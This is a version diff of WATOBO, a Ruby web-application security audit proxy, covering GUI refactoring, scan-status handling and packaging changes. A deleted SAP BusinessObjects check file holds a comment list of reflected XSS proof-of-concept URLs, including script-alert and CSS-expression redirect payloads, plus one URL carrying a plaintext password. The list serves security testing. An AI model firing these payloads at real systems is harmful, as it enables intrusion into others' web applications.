watobo 0.9.8.680 → 0.9.8.686
Sign up to get free protection for your applications and to get access to all the features.
- data/.yardopts +21 -0
- data/README +5 -2
- data/bin/watobo +2 -0
- data/bin/watobo_gui.rb +7 -3
- data/lib/watobo/adapters/file/file_store.rb +4 -4
- data/lib/watobo/config.rb +1 -3
- data/lib/watobo/constants.rb +6 -0
- data/lib/watobo/core/active_check.rb +4 -2
- data/lib/watobo/core/http_socket.rb +1 -0
- data/lib/watobo/core/interceptor.rb +0 -1
- data/lib/watobo/core/project.rb +2 -26
- data/lib/watobo/core/session.rb +131 -82
- data/lib/watobo/defaults.rb +8 -7
- data/lib/watobo/framework/create_project.rb +2 -0
- data/lib/watobo/framework/init.rb +6 -7
- data/lib/watobo/gui/about_watobo.rb +1 -1
- data/lib/watobo/gui/browser_preview.rb +8 -172
- data/lib/watobo/gui/chat_diff.rb +1 -2
- data/lib/watobo/gui/checkboxtree.rb +9 -6
- data/lib/watobo/gui/client_cert_dialog.rb +4 -5
- data/lib/watobo/gui/conversation_table.rb +4 -4
- data/lib/watobo/gui/main_window.rb +140 -146
- data/lib/watobo/gui/manual_request_editor.rb +38 -23
- data/lib/watobo/gui/proxy_dialog.rb +5 -5
- data/lib/watobo/gui/quick_scan_dialog.rb +1 -1
- data/lib/watobo/gui/save_chat_dialog.rb +1 -1
- data/lib/watobo/gui/sites_tree.rb +19 -17
- data/lib/watobo/gui/utils/load_plugins.rb +1 -2
- data/lib/watobo/gui.rb +23 -31
- data/lib/watobo.rb +11 -2
- data/plugins/sslchecker/gui/gui.rb +2 -1
- metadata +6 -5
- data/modules/active/sap/business_objects.rb +0 -73
@@ -403,7 +403,7 @@ module Watobo
|
|
403
403
|
orig = Watobo::Chat.new(first_request, first_response, :id => 0)
|
404
404
|
new = Watobo::Chat.new(second_request, second_response, :id => 0)
|
405
405
|
project = nil
|
406
|
-
diffViewer = ChatDiffViewer.new(FXApp.instance,
|
406
|
+
diffViewer = ChatDiffViewer.new(FXApp.instance, orig, new)
|
407
407
|
diffViewer.create
|
408
408
|
diffViewer.show(Fox::PLACEMENT_SCREEN)
|
409
409
|
end
|
@@ -458,6 +458,10 @@ module Watobo
|
|
458
458
|
include Responder
|
459
459
|
# ID_CTRL_S = ID_LAST
|
460
460
|
# ID_LAST = ID_CTRL_S + 1
|
461
|
+
SCANNER_IDLE = 0x00
|
462
|
+
SCANNER_STARTED = 0x01
|
463
|
+
SCANNER_FINISHED = 0x02
|
464
|
+
SCANNER_CANCELED = 0x04
|
461
465
|
def subscribe(event, &callback)
|
462
466
|
(@event_dispatcher_listeners[event] ||= []) << callback
|
463
467
|
end
|
@@ -508,7 +512,7 @@ module Watobo
|
|
508
512
|
|
509
513
|
def logger(message)
|
510
514
|
@log_viewer.log( LOG_INFO, message )
|
511
|
-
puts "[#{self.class.to_s}] #{message}"
|
515
|
+
puts "[#{self.class.to_s}] #{message}" if $DEBUG
|
512
516
|
end
|
513
517
|
|
514
518
|
|
@@ -610,19 +614,24 @@ module Watobo
|
|
610
614
|
}
|
611
615
|
|
612
616
|
logger("Scan Started ...")
|
613
|
-
|
617
|
+
@scan_status = SCANNER_STARTED
|
614
618
|
Thread.new(run_prefs) { |rp|
|
615
|
-
|
619
|
+
begin
|
616
620
|
# puts "* starting scanner ..."
|
617
621
|
# puts run_prefs.to_yaml
|
618
622
|
|
619
623
|
@scanner.run( rp )
|
620
624
|
|
625
|
+
#sender.text = "QuickScan"
|
626
|
+
rescue => bang
|
627
|
+
puts bang
|
628
|
+
puts bang.backtrace if $DEBUG
|
629
|
+
ensure
|
621
630
|
logger("Scan finished!")
|
622
|
-
|
623
|
-
|
624
|
-
|
625
|
-
|
631
|
+
@scan_status_lock.synchronize do
|
632
|
+
@scan_status |= SCANNER_FINISHED
|
633
|
+
end
|
634
|
+
end
|
626
635
|
}
|
627
636
|
end
|
628
637
|
|
@@ -686,8 +695,8 @@ module Watobo
|
|
686
695
|
@sel_pos = ""
|
687
696
|
@sel_len = ""
|
688
697
|
|
689
|
-
@last_request =
|
690
|
-
@last_response =
|
698
|
+
@last_request = nil
|
699
|
+
@last_response = nil
|
691
700
|
|
692
701
|
@history_size = 10
|
693
702
|
@history = []
|
@@ -699,6 +708,8 @@ module Watobo
|
|
699
708
|
@new_request = nil
|
700
709
|
|
701
710
|
@update_lock = Mutex.new
|
711
|
+
@scan_status_lock = Mutex.new
|
712
|
+
@scan_status = SCANNER_IDLE
|
702
713
|
|
703
714
|
# shortcuts here
|
704
715
|
#FXMAPFUNC(SEL_COMMAND, ID_CTRL_S, :on_ctrl_s)
|
@@ -840,8 +851,8 @@ module Watobo
|
|
840
851
|
|
841
852
|
frame = FXHorizontalFrame.new(req_editor, :opts => LAYOUT_FILL_X|FRAME_GROOVE)
|
842
853
|
|
843
|
-
btn_quickscan = FXButton.new(frame, "QuickScan", nil, nil, 0, FRAME_RAISED|FRAME_THICK)
|
844
|
-
btn_quickscan.connect(SEL_COMMAND, method(:onBtnQuickScan))
|
854
|
+
@btn_quickscan = FXButton.new(frame, "QuickScan", nil, nil, 0, FRAME_RAISED|FRAME_THICK)
|
855
|
+
@btn_quickscan.connect(SEL_COMMAND, method(:onBtnQuickScan))
|
845
856
|
@pbar = FXProgressBar.new(frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK|PROGRESSBAR_HORIZONTAL)
|
846
857
|
#@pbar.create
|
847
858
|
@pbar.connect(SEL_CHANGED) {
|
@@ -917,10 +928,24 @@ module Watobo
|
|
917
928
|
|
918
929
|
def add_update_timer(ms)
|
919
930
|
@update_timer = FXApp.instance.addTimeout( ms, :repeat => true) {
|
931
|
+
@scan_status_lock.synchronize do
|
932
|
+
|
933
|
+
if @scan_status == ( SCANNER_STARTED | SCANNER_FINISHED ) or @scan_status == ( SCANNER_STARTED | SCANNER_CANCELED )
|
934
|
+
puts "[SCAN-STATUS] #{@scan_status}"
|
935
|
+
@pbar.total = 0
|
936
|
+
@pbar.progress = 0
|
937
|
+
@pbar.barColor = 'grey'
|
938
|
+
@btn_quickscan.text = "QuickScan"
|
939
|
+
@scan_status = SCANNER_IDLE
|
940
|
+
end
|
941
|
+
end
|
920
942
|
@update_lock.synchronize do
|
921
943
|
unless @new_response.nil?
|
944
|
+
@last_request = nil
|
945
|
+
@last_response = nil
|
922
946
|
|
923
947
|
@response_viewer.setText @new_response
|
948
|
+
@last_response = @new_response
|
924
949
|
|
925
950
|
if @logChat.checked? == true
|
926
951
|
|
@@ -932,6 +957,7 @@ module Watobo
|
|
932
957
|
|
933
958
|
unless @new_request.nil? then
|
934
959
|
@request_viewer.setText @new_request
|
960
|
+
@last_request = @new_request
|
935
961
|
|
936
962
|
@response_viewer.setText(@new_response, :filter => true)
|
937
963
|
@responseMD5.text = @new_response.contentMD5
|
@@ -1000,17 +1026,6 @@ end
|
|
1000
1026
|
|
1001
1027
|
logger("got answer")
|
1002
1028
|
|
1003
|
-
if @logChat.checked? == true
|
1004
|
-
logger("log chat")
|
1005
|
-
chat = Watobo::Chat.new(last_request, last_response, :source => CHAT_SOURCE_MANUAL, :run_passive_checks => false)
|
1006
|
-
notify(:new_chat, chat)
|
1007
|
-
end
|
1008
|
-
|
1009
|
-
|
1010
|
-
#puts "finished (#{last_response.status})"
|
1011
|
-
# puts last_request.url
|
1012
|
-
# puts last_response.status
|
1013
|
-
|
1014
1029
|
|
1015
1030
|
=begin
|
1016
1031
|
if last_request and p[:follow_redirect] == true and last_response.status =~ /302/
|
@@ -38,11 +38,11 @@ module Watobo
|
|
38
38
|
:password => @password_dt.value,
|
39
39
|
:workstation => @workstation_dt.value,
|
40
40
|
:domain => @domain_dt.value,
|
41
|
-
:
|
41
|
+
:auth_type => @auth_type
|
42
42
|
}
|
43
43
|
|
44
44
|
puts "* auth_type"
|
45
|
-
puts c[:
|
45
|
+
puts c[:auth_type]
|
46
46
|
if @auth_types_cb.currentItem > 0 and c[:username] != "" and c[:password] != ""
|
47
47
|
s.update c
|
48
48
|
end
|
@@ -174,8 +174,8 @@ module Watobo
|
|
174
174
|
@auth_types_cb.setCurrentItem(0)
|
175
175
|
|
176
176
|
unless proxy.nil?
|
177
|
-
if proxy.has_key?(:
|
178
|
-
case proxy[:
|
177
|
+
if proxy.has_key?(:auth_type)
|
178
|
+
case proxy[:auth_type]
|
179
179
|
when AUTH_TYPE_NTLM
|
180
180
|
@auth_types_cb.setCurrentItem(1)
|
181
181
|
end
|
@@ -429,7 +429,7 @@ module Watobo
|
|
429
429
|
end
|
430
430
|
|
431
431
|
def addProxyItem(proxy)
|
432
|
-
|
432
|
+
# puts proxy.to_yaml
|
433
433
|
lastRowIndex = @proxyTable.numRows
|
434
434
|
siteIndex = -1
|
435
435
|
lastRowIndex.times do |i|
|
@@ -42,7 +42,7 @@ module Watobo
|
|
42
42
|
# @interface.updateRequestTable(@project)
|
43
43
|
end
|
44
44
|
|
45
|
-
def refresh_tree()
|
45
|
+
def refresh_tree()
|
46
46
|
self.clearItems
|
47
47
|
|
48
48
|
@project.chats.each do |chat|
|
@@ -51,6 +51,7 @@ def refresh_tree()
|
|
51
51
|
|
52
52
|
# @interface.updateRequestTable(@project)
|
53
53
|
end
|
54
|
+
|
54
55
|
def expandFullTree(item)
|
55
56
|
self.expandTree(item)
|
56
57
|
item.each do |c|
|
@@ -115,10 +116,10 @@ def refresh_tree()
|
|
115
116
|
site = self.findItem(chat.request.site, nil, SEARCH_FORWARD|SEARCH_IGNORECASE)
|
116
117
|
|
117
118
|
if not site then
|
118
|
-
|
119
|
-
|
120
|
-
|
121
|
-
|
119
|
+
# found new site
|
120
|
+
site = self.appendItem(nil, chat.request.site, @siteIcon, @siteIcon)
|
121
|
+
#site = @findings_tree.moveItem(project.first,project,site)
|
122
|
+
self.setItemData(site, :item_type_site)
|
122
123
|
|
123
124
|
end
|
124
125
|
|
@@ -140,9 +141,9 @@ def refresh_tree()
|
|
140
141
|
end
|
141
142
|
#folder_item = self.findItem(folder_name, folder_parent, SEARCH_FORWARD|SEARCH_WRAP)
|
142
143
|
if folder_item.nil? then
|
143
|
-
|
144
|
-
|
145
|
-
|
144
|
+
#folder_item = self.appendItem(folder_parent, folder_name, @folderIcon, @folderIcon)
|
145
|
+
folder_item = self.insertItem(folder_parent.first, folder_parent, folder_name, @folderIcon, @folderIcon)
|
146
|
+
self.setItemData(folder_item, :item_type_folder)
|
146
147
|
|
147
148
|
# puts "added folder #{folder_name} to #{folder_parent} for site #{chat.request.site}"
|
148
149
|
end
|
@@ -206,9 +207,9 @@ def refresh_tree()
|
|
206
207
|
getApp().beginWaitCursor do
|
207
208
|
begin
|
208
209
|
if item.data
|
209
|
-
|
210
|
-
|
211
|
-
|
210
|
+
#if item.data.class.to_s =~ /Qchat/
|
211
|
+
#@interface.show_chat(item.data)
|
212
|
+
notify(:show_chat, item.data)
|
212
213
|
#end
|
213
214
|
chat = item.data
|
214
215
|
# url_parts.unshift chat.request.file_ext
|
@@ -256,14 +257,15 @@ def refresh_tree()
|
|
256
257
|
["404", "302"].each do |rc|
|
257
258
|
target = FXMenuCheck.new(sub, "#{rc} Status" )
|
258
259
|
|
259
|
-
target.check = @tree_filters[:response_status].include?
|
260
|
+
target.check = @tree_filters[:response_status].include? rc
|
260
261
|
|
261
|
-
target.connect(SEL_COMMAND) {
|
262
|
-
|
263
|
-
|
264
|
-
@tree_filters[:response_status].
|
262
|
+
target.connect(SEL_COMMAND) { |tsender, tsel, titem|
|
263
|
+
|
264
|
+
rs = tsender.to_s.slice(/\d+/)
|
265
|
+
unless @tree_filters[:response_status].include? rs
|
266
|
+
@tree_filters[:response_status].push rs
|
265
267
|
else
|
266
|
-
|
268
|
+
@tree_filters[:response_status].delete rs
|
267
269
|
end
|
268
270
|
reload() if @project
|
269
271
|
}
|
@@ -40,7 +40,6 @@ module Watobo
|
|
40
40
|
# this is the old plugin style
|
41
41
|
Dir["#{Watobo.plugin_path}/*"].each do |sub|
|
42
42
|
if File.ftype(sub) == "directory"
|
43
|
-
puts "+ #{sub}"
|
44
43
|
Dir["#{sub}/#{File.basename(sub)}.rb"].each do |plugin_file|
|
45
44
|
begin
|
46
45
|
puts "* processing plugin file #{plugin_file}" if $DEBUG
|
@@ -74,7 +73,7 @@ module Watobo
|
|
74
73
|
#
|
75
74
|
plugin_class = plugin.slice(0..0).upcase + plugin.slice(1..-1).downcase
|
76
75
|
class_name = "Watobo::Plugin::#{group_class}::Gui::Main"
|
77
|
-
puts class_name
|
76
|
+
#puts class_name
|
78
77
|
class_constant = Watobo.class_eval(class_name)
|
79
78
|
|
80
79
|
Watobo::Gui.add_plugin class_constant.new(Watobo::Gui.application, project)
|
data/lib/watobo/gui.rb
CHANGED
@@ -20,15 +20,18 @@
|
|
20
20
|
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
21
21
|
# .
|
22
22
|
begin
|
23
|
+
print "\nLoading FXRuby ... this may take some time ... "
|
23
24
|
require 'fox16'
|
24
25
|
require 'fox16/colors'
|
26
|
+
print "[OK]\n"
|
25
27
|
rescue LoadError
|
28
|
+
print "[FAILED]\n"
|
26
29
|
puts "!!! Seems like FXRuby is not installed !!!"
|
27
30
|
puts "please check the installation tutorial at http://watobo.sourceforge.net"
|
28
31
|
exit
|
29
32
|
end
|
30
33
|
|
31
|
-
if RUBY_PLATFORM =~ /(linux|bsd|solaris|hpux|darwin)/i
|
34
|
+
if RUBY_PLATFORM =~ /(linux|bsd|solaris|hpux|darwin)/i then
|
32
35
|
begin
|
33
36
|
require 'selenium-webdriver'
|
34
37
|
rescue LoadError
|
@@ -47,15 +50,11 @@ module Watobo
|
|
47
50
|
@application = nil
|
48
51
|
@icon_path = File.expand_path(File.join(File.dirname(__FILE__),"..","..","icons"))
|
49
52
|
|
50
|
-
@
|
53
|
+
@project = nil
|
51
54
|
def self.history
|
52
55
|
unless defined? @history
|
53
56
|
hf = Watobo::Conf::Gui.history_file
|
54
|
-
puts Watobo::Conf::Gui.dump.to_yaml
|
55
57
|
wd = Watobo.working_directory
|
56
|
-
puts "* create new history"
|
57
|
-
puts "* in working directory: #{wd}"
|
58
|
-
puts "* history file: #{hf}"
|
59
58
|
|
60
59
|
history_file = File.join(wd , hf)
|
61
60
|
@history = SessionHistory.new(history_file)
|
@@ -89,50 +88,43 @@ module Watobo
|
|
89
88
|
@application
|
90
89
|
end
|
91
90
|
|
92
|
-
def self.
|
93
|
-
@
|
91
|
+
def self.project
|
92
|
+
@project
|
94
93
|
end
|
95
94
|
|
96
|
-
def self.
|
97
|
-
@
|
95
|
+
def self.project=(project)
|
96
|
+
@project = project
|
98
97
|
end
|
99
98
|
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
end
|
112
|
-
end
|
99
|
+
def self.check_first_run
|
100
|
+
file = File.join(File.expand_path(File.dirname(__FILE__)), "..", "..", "disclaimer.chk")
|
101
|
+
unless File.exists?(file)
|
102
|
+
first_start_info = Watobo::Gui::AboutWatobo.new(@main_window)
|
103
|
+
if first_start_info.execute != 0 then
|
104
|
+
File.new(file, "w")
|
105
|
+
else
|
106
|
+
exit
|
107
|
+
end
|
108
|
+
end
|
109
|
+
end
|
113
110
|
end
|
114
111
|
end
|
115
112
|
|
116
113
|
%w( load_icons gui_utils load_plugins session_history save_default_settings master_password session_history save_project_settings save_proxy_settings ).each do |l|
|
117
114
|
require File.join("watobo","gui","utils", l)
|
118
115
|
end
|
119
|
-
#require 'watobo/gui/utils/load_icons'
|
120
|
-
#require 'watobo/gui/utils/gui_utils'
|
121
|
-
#require 'watobo/gui/utils/load_plugins'
|
122
|
-
#require 'watobo/gui/utils/session_history'
|
123
|
-
#require 'watobo/gui/utils/save_default_settings'
|
124
116
|
|
125
117
|
Watobo::Gui.create_application
|
126
118
|
|
127
119
|
require 'watobo/gui/utils/init_icons'
|
128
120
|
|
129
121
|
gui_path = File.expand_path(File.join(File.dirname(__FILE__), "gui"))
|
130
|
-
|
122
|
+
|
131
123
|
Dir.glob("#{gui_path}/*.rb").each do |cf|
|
132
124
|
next if File.basename(cf) == 'main_window.rb' # skip main_window here, because it must be loaded last
|
133
125
|
require File.join("watobo","gui", File.basename(cf))
|
134
|
-
|
135
126
|
end
|
127
|
+
|
136
128
|
require 'watobo/gui/templates/plugin'
|
137
129
|
require 'watobo/gui/templates/plugin2'
|
138
|
-
require 'watobo/gui/main_window'
|
130
|
+
require 'watobo/gui/main_window'
|
data/lib/watobo.rb
CHANGED
@@ -44,7 +44,7 @@ require 'watobo/framework'
|
|
44
44
|
|
45
45
|
module Watobo
|
46
46
|
|
47
|
-
VERSION = "0.9.8-
|
47
|
+
VERSION = "0.9.8-686"
|
48
48
|
|
49
49
|
def self.base_directory
|
50
50
|
@base_directory ||= ""
|
@@ -69,8 +69,17 @@ module Watobo
|
|
69
69
|
def self.version
|
70
70
|
Watobo::VERSION
|
71
71
|
end
|
72
|
+
|
73
|
+
def self.print_summary
|
74
|
+
puts "--- Info ---"
|
75
|
+
puts "Version: " + version
|
76
|
+
puts "Working Directory: " + Watobo.working_directory
|
77
|
+
puts "Active Checks Location: " + Watobo.active_module_path
|
78
|
+
puts "Passive Checks Location: " + Watobo.passive_module_path
|
79
|
+
puts "---"
|
80
|
+
puts
|
81
|
+
end
|
72
82
|
end
|
73
83
|
|
74
|
-
puts "* init framework ..."
|
75
84
|
Watobo.init_framework
|
76
85
|
|
@@ -169,7 +169,8 @@ module Watobo
|
|
169
169
|
COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X)
|
170
170
|
#@filterCombo.width =200
|
171
171
|
|
172
|
-
@
|
172
|
+
num_ssl_sites = @project.listSites(:ssl => true).length
|
173
|
+
@sites_combo.numVisible = num_ssl_sites > 15 ? 15 : num_ssl_sites
|
173
174
|
@sites_combo.numColumns = 35
|
174
175
|
@sites_combo.editable = true
|
175
176
|
@sites_combo.connect(SEL_COMMAND, method(:onSiteSelect))
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: watobo
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.9.8.
|
4
|
+
version: 0.9.8.686
|
5
5
|
prerelease:
|
6
6
|
platform: ruby
|
7
7
|
authors:
|
@@ -9,11 +9,11 @@ authors:
|
|
9
9
|
autorequire:
|
10
10
|
bindir: bin
|
11
11
|
cert_chain: []
|
12
|
-
date: 2012-04-
|
12
|
+
date: 2012-04-17 00:00:00.000000000Z
|
13
13
|
dependencies:
|
14
14
|
- !ruby/object:Gem::Dependency
|
15
15
|
name: fxruby
|
16
|
-
requirement: &
|
16
|
+
requirement: &28553580 !ruby/object:Gem::Requirement
|
17
17
|
none: false
|
18
18
|
requirements:
|
19
19
|
- - ! '>='
|
@@ -21,12 +21,13 @@ dependencies:
|
|
21
21
|
version: '0'
|
22
22
|
type: :runtime
|
23
23
|
prerelease: false
|
24
|
-
version_requirements: *
|
24
|
+
version_requirements: *28553580
|
25
25
|
description: WATOBO is intended to enable security professionals to perform efficient
|
26
26
|
(semi-automated ) web application security audits. It works like a local web proxy.
|
27
27
|
email: watobo@siberas.de
|
28
28
|
executables:
|
29
29
|
- watobo_gui.rb
|
30
|
+
- watobo
|
30
31
|
extensions: []
|
31
32
|
extra_rdoc_files: []
|
32
33
|
files:
|
@@ -163,7 +164,6 @@ files:
|
|
163
164
|
- modules/active/fileinclusion/lfi_simple.rb
|
164
165
|
- modules/active/Flash/crossdomain.rb
|
165
166
|
- modules/active/jboss/jboss_basic.rb
|
166
|
-
- modules/active/sap/business_objects.rb
|
167
167
|
- modules/active/sap/its_commands.rb
|
168
168
|
- modules/active/sap/its_services.rb
|
169
169
|
- modules/active/sap/its_service_parameter.rb
|
@@ -292,6 +292,7 @@ files:
|
|
292
292
|
- CHANGELOG
|
293
293
|
- .yardopts
|
294
294
|
- bin/watobo_gui.rb
|
295
|
+
- bin/watobo
|
295
296
|
homepage: http://watobo.sourceforge.net
|
296
297
|
licenses: []
|
297
298
|
post_install_message:
|
@@ -1,73 +0,0 @@
|
|
1
|
-
# .
|
2
|
-
# business_objects.rb
|
3
|
-
#
|
4
|
-
# Copyright 2012 by siberas, http://www.siberas.de
|
5
|
-
#
|
6
|
-
# This file is part of WATOBO (Web Application Tool Box)
|
7
|
-
# http://watobo.sourceforge.com
|
8
|
-
#
|
9
|
-
# WATOBO is free software; you can redistribute it and/or modify
|
10
|
-
# it under the terms of the GNU General Public License as published by
|
11
|
-
# the Free Software Foundation version 2 of the License.
|
12
|
-
#
|
13
|
-
# WATOBO is distributed in the hope that it will be useful,
|
14
|
-
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
-
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
-
# GNU General Public License for more details.
|
17
|
-
#
|
18
|
-
# You should have received a copy of the GNU General Public License
|
19
|
-
# along with WATOBO; if not, write to the Free Software
|
20
|
-
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
21
|
-
# .
|
22
|
-
=begin
|
23
|
-
http://www.example.com:8080/AdminTools/querybuilder/ie.jsp?ADD_RULE=1&AND_BTN=1&ATTRIBUTES_LIST=1&ATTRIBUTES_NOTES=1&ATTRIBUTES_PROMPT=1&BUILD_SQL_HEADER=1&BUILD_SQL_INSTRUCTION=1&EXIT=1&FINISH=1&FINISH_BTN=1&FINISH_HEADER=1&IETIPS=1&MUST_ANDOR_CLAUSES=1&MUST_SELECT_CLAUSES=1&NO_CLAUSES=1&NO_RULES=1&OR=1&OR_BTN=1&OTHER_RULE_HEADER=1&REMOVE=1&REMOVE_RULE_HEADER=1&RESET=1&RULE_HEADER=1&SELECT_SUBTITLE1=mr&SELECT_SUBTITLE2=mr&SELECT_SUBTITLE3=mr&SELECT_SUBTITLE4=mr&SPECIFY_ATTRIBUTES_PROMPT=1&SUBMIT=1&TITLE=mr&WELCOME_USER=1&framework=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
|
24
|
-
http://www.example.com:8080/AdminTools/querybuilder/logonform.jsp?APSNAME=Procheckup&AUTHENTICATION=1&LOGON=1&LOG_ON=1&NOTRECOGNIZED=1&PASSWORD=Pcu12U4&REENTER=1&TITLE=mr&UNSURE=1&USERNAME=Procheckup&WELCOME_LOGON=1&action=1&framework="><script>alert(1)</script>
|
25
|
-
http://www.example.com:8080/AnalyticalReporting/querywizard/jsp/apply.jsp?WOMdoc=1&WOMqueryAtt=1&WOMquerycontexts=1&WOMqueryfilters=1&WOMqueryobjs=1&WOMunit=1&bodySel=1&capSel=1&colSel=1&compactSteps=1&currReportIdx=1&defaultName=Procheckup&docid=1&doctoken=1&dummy=1&isModified=1&lang="></script><script>alert(1)</script>&lastFormatZone=1&lastOptionZone=1&lastStepIndex=1&mode=1&rowSel=1§ionSel=1&skin=1&topURL=1&unvid=1&viewType=1&xSel=1&ySel=1&zSel=1&
|
26
|
-
http://www.example.com:6405/AnalyticalReporting/querywizard/jsp/apply.jsp?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E&
|
27
|
-
http://www.example.com:8080/AnalyticalReporting/querywizard/jsp/query.jsp?contexts=1&docid=1&doctoken=1&dummy=1&lang="></script><script>alert(1)</script>
|
28
|
-
http://www.example.com:6405/AnalyticalReporting/querywizard/jsp/query.jsp?lang="></script><script>alert(1)</script>
|
29
|
-
http://www.example.com:8080/AnalyticalReporting/querywizard/jsp/query.jsp?contexts=1&docid=1&doctoken=1&dummy=1&lang=1&mode=1&queryobjs=1&resetcontexts=1&scope=1&skin="></script><script>alert(1)</script>&unvid=1&
|
30
|
-
http://www.example.com:6405/AnalyticalReporting/querywizard/jsp/query.jsp?skin="></script><script>alert(1)</script>
|
31
|
-
http://www.example.com:8080/AnalyticalReporting/querywizard/jsp/turnto.jsp?WOMblock=1&WOMqueryAtt=1&WOMqueryfilters=1&WOMqueryobjs=1&WOMturnTo=1&WOMunit=1&doctoken=1&dummy=1&lang="></script><script>alert(1)</script>&skin=1&unit=1&
|
32
|
-
http://www.example.com:6405/AnalyticalReporting/querywizard/jsp/turnto.jsp?lang="></script><script>alert(1)</script>
|
33
|
-
http://www.example.com:8080/CrystalReports/jsp/CrystalReport_View/viewReport.jsp?loc=//-->"></script><script>alert(1)</script>
|
34
|
-
http://www.example.com:8080/InfoViewApp/jsp/common/actionNavFrame.jsp?url="></script><script>alert(1)</script>
|
35
|
-
http://www.example.com:8080/PerformanceManagement/scripts/docLoadUrl.jsp?url=%22%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
|
36
|
-
http://www.example.com:6405/PerformanceManagement/scripts/docLoadUrl.jsp?url=�></script><script>alert(1)</script>
|
37
|
-
http://www.example.com:8080/PerformanceManagement/jsp/aa-display-flash.jsp?swf="><html><body><script>alert(1)</script>
|
38
|
-
http://www.example.com:8080/PerformanceManagement/jsp/alertcontrol.jsp?serSes=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
|
39
|
-
http://www.example.com:6405/PerformanceManagement/jsp/alertcontrol.jsp?serSes=�><script>alert(1)</script>
|
40
|
-
http://www.example.com:8080/PerformanceManagement/jsp/viewError.jsp?error=<script>alert(1)</script>
|
41
|
-
http://www.example.com:6405/PerformanceManagement/jsp/viewError.jsp?error=<script>alert(1)</script>
|
42
|
-
http://www.example.com:8080/PerformanceManagement/jsp/ic_pm/wigoalleftlisttr.jsp?actcontent=1&actiontype=1&actual=1&anlimage=1&columns=1&flowid="<~/XSS/*-*/STYLE=xss:e/**/xpression (location='http://www.procheckup.com')>&flowname=Procheckup&gacid=1&list=1&listname=Procheckup&listonly=1&progstatus=1&progtrend=1&progtrendImage=1&target=http://www.procheckup.com&uid=1&variance=1&viewed=1&
|
43
|
-
http://www.example.com:6405/PerformanceManagement/jsp/ic_pm/wigoalleftlisttr.jsp?flowid=%22%3E%3Cscript%3Ealert(1)%3C/script%3E&flowname=Procheckup&progtrend=1&viewed=1&
|
44
|
-
http://www.example.com:8080/PerformanceManagement/jsp/ic_pm/wigoalleftlisttr.jsp?actcontent=1&actiontype=1&actual=1&anlimage=1&columns=1&flowid="><script>alert(1)</script>&flowname=Procheckup&gacid=1&list=1&listname=Procheckup&listonly=1&progstatus=1&progtrend=1&progtrendImage=1&target=1&uid=1&variance=1&viewed=1&
|
45
|
-
http://www.example.com:6405//PerformanceManagement/jsp/ic_pm/wigoalleftlisttr.jsp?&flowid="><script>alert(1)</script>&flowname=Procheckup&gacid=1&progtrend=1&progtrendImage=1&viewed=1&
|
46
|
-
http://www.example.com:8080/PerformanceManagement/jsp/sb/roleframe.jsp?rid="<~/XSS/*-*/STYLE=xss:e/**/xpression(location='http://www.procheckup.com')>
|
47
|
-
http://www.example.com:6405//PerformanceManagement/jsp/sb/roleframe.jsp?rid="<~/XSS/*-
|
48
|
-
http://www.example.com:8080/PerformanceManagement/jsp/viewWebiReportHeader.jsp?sEntry=%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
|
49
|
-
http://www.example.com:6405/PerformanceManagement/jsp/viewWebiReportHeader.jsp?sEntry=%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
|
50
|
-
http://www.example.com:8080/PerformanceManagement/jsp/wait-frameset.jsp?dummyParam="</script><script>alert(1)</script>
|
51
|
-
http://www.example.com:6405/PerformanceManagement/jsp/wait-frameset.jsp?dummyParam="</script><script>alert(1)</script>
|
52
|
-
http://www.example.com:8080/PlatformServices/preferences.do?cafWebSesInit=true&service=<SCRIPT>alert(1)</SCRIPT>&actId=541&appKind=CMC
|
53
|
-
=end
|
54
|
-
|
55
|
-
|
56
|
-
module Watobo
|
57
|
-
module Modules
|
58
|
-
module Active
|
59
|
-
module Sap
|
60
|
-
|
61
|
-
|
62
|
-
class Business_objects < Watobo::ActiveCheck
|
63
|
-
|
64
|
-
def initialize(project, prefs={})
|
65
|
-
|
66
|
-
super(project, prefs)
|
67
|
-
end
|
68
|
-
end
|
69
|
-
|
70
|
-
end
|
71
|
-
end
|
72
|
-
end
|
73
|
-
end
|